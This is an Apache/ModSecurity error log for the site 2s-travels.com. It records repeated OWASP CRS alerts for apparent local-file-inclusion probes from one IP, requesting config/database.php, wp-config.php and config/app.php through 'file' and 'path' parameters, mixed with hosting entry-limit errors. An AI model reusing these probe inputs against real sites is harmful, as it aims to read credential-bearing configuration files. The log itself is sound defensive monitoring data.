[Fri Jul 17 08:55:46.148564 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:file: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa5wAAAAo"]
[Fri Jul 17 08:55:46.149201 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa5wAAAAo"]
[Fri Jul 17 08:55:46.149309 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.149588 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgujsMb3am0TgkjETa5wAAAAo"]
[Fri Jul 17 08:55:46.196727 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:file: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgugRRrtuZqNDDSqWwQgAAABo"]
[Fri Jul 17 08:55:46.199380 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgugRRrtuZqNDDSqWwQgAAABo"]
[Fri Jul 17 08:55:46.199540 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.199885 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgugRRrtuZqNDDSqWwQgAAABo"]
[Fri Jul 17 08:55:46.202758 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.209768 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.214231 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.218517 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.274302 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.275365 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.276418 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.276930 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.281826 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.293839 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.295229 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.297853 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.303804 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.303869 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:path: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgugRRrtuZqNDDSqWwRAAAABo"]
[Fri Jul 17 08:55:46.304387 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgugRRrtuZqNDDSqWwRAAAABo"]
[Fri Jul 17 08:55:46.304399 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.304483 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.304808 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgugRRrtuZqNDDSqWwRAAAABo"]
[Fri Jul 17 08:55:46.311175 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:path: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa6QAAAAo"]
[Fri Jul 17 08:55:46.311771 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa6QAAAAo"]
[Fri Jul 17 08:55:46.311902 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.312217 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgujsMb3am0TgkjETa6QAAAAo"]
[Fri Jul 17 08:55:46.321332 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:path: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgulh1WDijTxd1xw5McAAAAAc"]
[Fri Jul 17 08:55:46.321930 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgulh1WDijTxd1xw5McAAAAAc"]
[Fri Jul 17 08:55:46.322062 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.322386 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgulh1WDijTxd1xw5McAAAAAc"]
[Fri Jul 17 08:55:46.325570 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:path: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguhJ0z2bEtnOrIXVAbgAAAAk"]
[Fri Jul 17 08:55:46.326198 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguhJ0z2bEtnOrIXVAbgAAAAk"]
[Fri Jul 17 08:55:46.326289 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.326554 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguhJ0z2bEtnOrIXVAbgAAAAk"]
[Fri Jul 17 08:55:46.333349 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:path: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgukkXT4NBqALj2lZ88QAAABA"]
[Fri Jul 17 08:55:46.334285 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgukkXT4NBqALj2lZ88QAAABA"]
[Fri Jul 17 08:55:46.334450 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.334860 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgukkXT4NBqALj2lZ88QAAABA"]
[Fri Jul 17 08:55:46.338845 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:path: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguroj0IkvhSCYadmB1gAAAAQ"]
[Fri Jul 17 08:55:46.339199 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.339404 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguroj0IkvhSCYadmB1gAAAAQ"]
[Fri Jul 17 08:55:46.339520 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.339932 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguroj0IkvhSCYadmB1gAAAAQ"]
[Fri Jul 17 08:55:46.345518 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.346500 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
